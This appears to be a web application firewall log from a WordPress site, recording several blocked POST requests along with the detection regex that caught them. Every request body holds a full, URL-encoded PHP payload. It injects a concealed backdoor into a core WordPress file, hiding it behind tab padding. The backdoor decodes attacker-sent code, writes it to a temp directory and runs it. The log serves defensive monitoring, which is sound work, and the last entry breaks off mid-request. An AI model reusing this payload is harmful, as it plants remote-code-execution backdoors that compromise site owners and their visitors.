["2026-05-12 10:50:04","52.232.35.131","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> ad:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-media-control.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528count%2528%2524_REQUEST%2529%2520%253E%25200%2520%2526%2526%2520isset%2528%2524_REQUEST%255B%2522%255Cx6F%255Cx62%255Cx6Aect%2522%255D%2529%2529%257B%2520%2524desc%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522%255Cx6F%255Cx62%255Cx6Aect%2522%255D%2529%253B%2520%2524sym%2520%253D%2527%2527%253Bforeach%2528str_split%2528%2524desc%2529%2520as%2520%2524char%2529%257B%2524sym%2520.%253D%2520chr%2528ord%2528%2524char%2529%2520%255E%252063%2529%253B%257D%2520%2524data%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520while%2520%2528%2524property_set%2520%253D%2520array_shift%2528%2524data%2529%2529%2520%257B%2520if%2520%2528array_product%2528%255Bis_dir%2528%2524property_set%2529%252C%2520is_writable%2528%2524property_set%2529%255D%2529%2529%2520%257B%2520%2524flag%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524property_set%252C%2520%2522.marker%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524flag%252C%2520%2524sym%2529%2529%2520%257B%2520require%2520%2524flag%253B%2520unlink%2528%2524flag%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\ncontent-length:3803\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvLJDvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvLI9coaAypaEco24vB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-ch-ua-mobile:?0\n\nad=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-media-control.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528count%2528%2524_REQUEST%2529%2520%253E%25200%2520%2526%2526%2520isset%2528%2524_REQUEST%255B%2522%255Cx6F%255Cx62%255Cx6Aect%2522%255D%2529%2529%257B%2520%2524desc%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522%255Cx6F%255Cx62%255Cx6Aect%2522%255D%2529%253B%2520%2524sym%2520%253D%2527%2527%253Bforeach%2528str_split%2528%2524desc%2529%2520as%2520%2524char%2529%257B%2524sym%2520.%253D%2520chr%2528ord%2528%2524char%2529%2520%255E%252063%2529%253B%257D%2520%2524data%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520while%2520%2528%2524property_set%2520%253D%2520array_shift%2528%2524data%2529%2529%2520%257B%2520if%2520%2528array_product%2528%255Bis_dir%2528%2524property_set%2529%252C%2520is_writable%2528%2524property_set%2529%255D%2529%2529%2520%257B%2520%2524flag%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524property_set%252C%2520%2522.marker%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524flag%252C%2520%2524sym%2529%2529%2520%257B%2520require%2520%2524flag%253B%2520unlink%2528%2524flag%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:50:07","43.230.201.87","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> rN:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-media-control.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528count%2528%2524_REQUEST%2529%2520%253E%25200%2520%2526%2526%2520isset%2528%2524_REQUEST%255B%2522%255Cx6F%255Cx62%255Cx6Aect%2522%255D%2529%2529%257B%2520%2524desc%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522%255Cx6F%255Cx62%255Cx6Aect%2522%255D%2529%253B%2520%2524sym%2520%253D%2527%2527%253Bforeach%2528str_split%2528%2524desc%2529%2520as%2520%2524char%2529%257B%2524sym%2520.%253D%2520chr%2528ord%2528%2524char%2529%2520%255E%252063%2529%253B%257D%2520%2524data%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520while%2520%2528%2524property_set%2520%253D%2520array_shift%2528%2524data%2529%2529%2520%257B%2520if%2520%2528array_product%2528%255Bis_dir%2528%2524property_set%2529%252C%2520is_writable%2528%2524property_set%2529%255D%2529%2529%2520%257B%2520%2524flag%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524property_set%252C%2520%2522.marker%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524flag%252C%2520%2524sym%2529%2529%2520%257B%2520require%2520%2524flag%253B%2520unlink%2528%2524flag%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"macOS\"\nsec-fetch-site:none\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\ncontent-length:3803\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvpx4vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyvLKAyK3Owo25hMJA0nJ9hVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-ch-ua-mobile:?0\n\nrN=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-media-control.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528count%2528%2524_REQUEST%2529%2520%253E%25200%2520%2526%2526%2520isset%2528%2524_REQUEST%255B%2522%255Cx6F%255Cx62%255Cx6Aect%2522%255D%2529%2529%257B%2520%2524desc%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522%255Cx6F%255Cx62%255Cx6Aect%2522%255D%2529%253B%2520%2524sym%2520%253D%2527%2527%253Bforeach%2528str_split%2528%2524desc%2529%2520as%2520%2524char%2529%257B%2524sym%2520.%253D%2520chr%2528ord%2528%2524char%2529%2520%255E%252063%2529%253B%257D%2520%2524data%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520while%2520%2528%2524property_set%2520%253D%2520array_shift%2528%2524data%2529%2529%2520%257B%2520if%2520%2528array_product%2528%255Bis_dir%2528%2524property_set%2529%252C%2520is_writable%2528%2524property_set%2529%255D%2529%2529%2520%257B%2520%2524flag%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524property_set%252C%2520%2522.marker%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524flag%252C%2520%2524sym%2529%2529%2520%257B%2520require%2520%2524flag%253B%2520unlink%2528%2524flag%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:50:09","78.142.18.172","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> lu:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-media-control.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528count%2528%2524_REQUEST%2529%2520%253E%25200%2520%2526%2526%2520isset%2528%2524_REQUEST%255B%2522%255Cx6F%255Cx62%255Cx6Aect%2522%255D%2529%2529%257B%2520%2524desc%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522%255Cx6F%255Cx62%255Cx6Aect%2522%255D%2529%253B%2520%2524sym%2520%253D%2527%2527%253Bforeach%2528str_split%2528%2524desc%2529%2520as%2520%2524char%2529%257B%2524sym%2520.%253D%2520chr%2528ord%2528%2524char%2529%2520%255E%252063%2529%253B%257D%2520%2524data%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520while%2520%2528%2524property_set%2520%253D%2520array_shift%2528%2524data%2529%2529%2520%257B%2520if%2520%2528array_product%2528%255Bis_dir%2528%2524property_set%2529%252C%2520is_writable%2528%2524property_set%2529%255D%2529%2529%2520%257B%2520%2524flag%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524property_set%252C%2520%2522.marker%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524flag%252C%2520%2524sym%2529%2529%2520%257B%2520require%2520%2524flag%253B%2520unlink%2528%2524flag%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"macOS\"\nsec-fetch-site:none\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\ncontent-length:3803\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvoUHvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAfLKAmVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-ch-ua-mobile:?0\n\nlu=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-media-control.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528count%2528%2524_REQUEST%2529%2520%253E%25200%2520%2526%2526%2520isset%2528%2524_REQUEST%255B%2522%255Cx6F%255Cx62%255Cx6Aect%2522%255D%2529%2529%257B%2520%2524desc%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522%255Cx6F%255Cx62%255Cx6Aect%2522%255D%2529%253B%2520%2524sym%2520%253D%2527%2527%253Bforeach%2528str_split%2528%2524desc%2529%2520as%2520%2524char%2529%257B%2524sym%2520.%253D%2520chr%2528ord%2528%2524char%2529%2520%255E%252063%2529%253B%257D%2520%2524data%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520while%2520%2528%2524property_set%2520%253D%2520array_shift%2528%2524data%2529%2529%2520%257B%2520if%2520%2528array_product%2528%255Bis_dir%2528%2524property_set%2529%252C%2520is_writable%2528%2524property_set%2529%255D%2529%2529%2520%257B%2520%2524flag%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524property_set%252C%2520%2522.marker%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524flag%252C%2520%2524sym%2529%2529%2520%257B%2520require%2520%2524flag%253B%2520unlink%2528%2524flag%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:50:11","144.76.215.54","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Sa:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-media-control.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528count%2528%2524_REQUEST%2529%2520%253E%25200%2520%2526%2526%2520isset%2528%2524_REQUEST%255B%2522%255Cx6F%255Cx62%255Cx6Aect%2522%255D%2529%2529%257B%2520%2524desc%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522%255Cx6F%255Cx62%255Cx6Aect%2522%255D%2529%253B%2520%2524sym%2520%253D%2527%2527%253Bforeach%2528str_split%2528%2524desc%2529%2520as%2520%2524char%2529%257B%2524sym%2520.%253D%2520chr%2528ord%2528%2524char%2529%2520%255E%252063%2529%253B%257D%2520%2524data%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520while%2520%2528%2524property_set%2520%253D%2520array_shift%2528%2524data%2529%2529%2520%257B%2520if%2520%2528array_product%2528%255Bis_dir%2528%2524property_set%2529%252C%2520is_writable%2528%2524property_set%2529%255D%2529%2529%2520%257B%2520%2524flag%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524property_set%252C%2520%2522.marker%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524flag%252C%2520%2524sym%2529%2529%2520%257B%2520require%2520%2524flag%253B%2520unlink%2528%2524flag%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ 